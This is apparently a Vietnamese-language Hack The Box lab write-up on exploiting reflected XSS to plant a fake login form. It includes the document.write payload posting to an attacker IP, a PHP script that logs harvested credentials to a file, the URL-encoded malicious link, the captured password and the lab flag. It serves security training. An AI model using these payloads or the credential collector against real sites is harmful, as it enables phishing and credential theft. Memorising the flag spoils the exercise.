1. Try to find a working XSS payload for the Image URL form found at '/phishing' in the above server, and then use what you learned in this section to prepare a malicious URL that injects a malicious login form. Then visit '/phishing/send.php' to send the URL to the victim, and they will log into the malicious login form. If you did everything correctly, you should receive the victim's login credentials, which you can use to login to '/phishing/login.php' and obtain the flag.

Ý tưởng : Đánh cắp thông tin người dùng bằng cách tạo 1 form đăng nhập bằng việc khai thác lỗ hổng XSS , Khi người dùng đăng nhập vào form đấy thì thông tin username và password sẽ được gửi về server của kẻ tấn công đang lắng nghe

Payload form mẫu khai thác XSs

```bash

document.write('<h3>Please login to continue</h3><form action=http://OUR\_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');

```

Tệp index.php

```bash

**<?php**

if (isset($\_GET['username']) && isset($\_GET['password'])) {

$file = fopen("creds.txt", "a+");

fputs($file, "Username: {$\_GET['username']} | Password: {$\_GET['password']}\n");

header("Location: http://SERVER\_IP/phishing/index.php");

fclose($file);

exit();

}

**?>**

```

Trang chủ

A screenshot of a computer

Description automatically generated

A computer screen with white text

Description automatically generated

A screen shot of a computer

Description automatically generated

Ta sử dụng payload

```bash

document.write('<h3>Please login to continue</h3><form action=http://10.10.15.37 ><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>'); document.getElementById('urlform').remove();

```

A screenshot of a computer

Description automatically generated

```bash

<http://10.129.204.15/phishing/index.php?url=document.write%28%27%3Ch3%3EPlease+login+to+continue%3C%2Fh3%3E%3Cform+action%3Dhttp%3A%2F%2F10.10.15.37+%3E%3Cinput+type%3D%22username%22+name%3D%22username%22+placeholder%3D%22Username%22%3E%3Cinput+type%3D%22password%22+name%3D%22password%22+placeholder%3D%22Password%22%3E%3Cinput+type%3D%22submit%22+name%3D%22submit%22+value%3D%22Login%22%3E%3C%2Fform%3E%27%29%3B+document.getElementById%28%27urlform%27%29.remove%28%29%3B>

```

A screenshot of a computer

Description automatically generated

A screenshot of a computer

Description automatically generated

username=admin&password=p1zd0nt57341myp455

A screenshot of a computer

Description automatically generated

A screenshot of a computer

Description automatically generated

P/s: HTB{r3f13c73d\_cr3d5\_84ck\_2\_m3}